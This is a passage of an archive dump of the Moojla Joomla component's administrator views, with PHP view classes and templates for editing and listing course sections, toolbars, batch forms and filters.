?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="section.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/section/tmpl/index.html000064400000000054151165724410012323
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/section/view.html.php000064400000015213151165724410012003
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Section View class
 */
class MoojlaViewSection extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('section',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_SECTION_NEW' : 'COM_MOOJLA_SECTION_EDIT'),
'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('section.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('section.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('section.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('section.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('section.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('section.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.section',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('section.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('section.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('section');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_SECTION_NEW' : 'COM_MOOJLA_SECTION_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/section.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/section/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/sections/index.html000064400000000054151165724410011532
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/sections/tmpl/default.php000064400000005522151165724410012653
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=sections.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'sectionList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=sections');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="sectionList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_SECTIONS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/sections/tmpl/default_batch_body.php000064400000002333151165724410015026
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_SECTIONS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/sections/tmpl/default_batch_footer.php000064400000002731151165724410015371
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('section.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/sections/tmpl/default_body.php000064400000010134151165724410013663
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=sections&task=section.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('section',$item,'sections');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->courseid); ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->section_id); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'sections.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->section_id); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->name); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->visible); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->uservisible); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', true, 'cb');
?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'sections.', true, 'cb');
?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'sections.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/sections/tmpl/default_foot.php000064400000002304151165724410013675
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="9"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/sections/tmpl/default_head.php000064400000005535151165724410013640
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_COURSEID_LABEL', 'a.courseid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_SECTION_ID_LABEL', 'a.section_id',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_NAME_LABEL', 'a.name',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_SECTION_VISIBLE_LABEL');
?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo
JText::_('COM_MOOJLA_SECTION_USERVISIBLE_LABEL'); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_SECTION_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_SECTION_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/sections/tmpl/default_toolbar.php000064400000007053151165724410014376
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Sections'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/sections/tmpl/index.html000064400000000054151165724410012506
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/sections/view.html.php000064400000017034151165724410012171
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Sections
 */
class MoojlaViewSections extends JViewLegacy
{
	/**
	 * Sections view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('sections');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('section');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_SECTIONS'),
'briefcase');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=sections');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('section.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('section.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('sections.publish');
				JToolBarHelper::unpublishList('sections.unpublish');
				JToolBarHelper::archiveList('sections.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('sections.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'sections.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('sections.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('sections');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Courseid batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Courseid Selection
			$this->courseidOptions =
JFormHelper::loadFieldType('sectionsfiltercourseid')->options;
			// We do some sanitation for Courseid filter
			if (MoojlaHelper::checkArray($this->courseidOptions) &&
				isset($this->courseidOptions[0]->value) &&
				!MoojlaHelper::checkString($this->courseidOptions[0]->value))
			{
				unset($this->courseidOptions[0]);
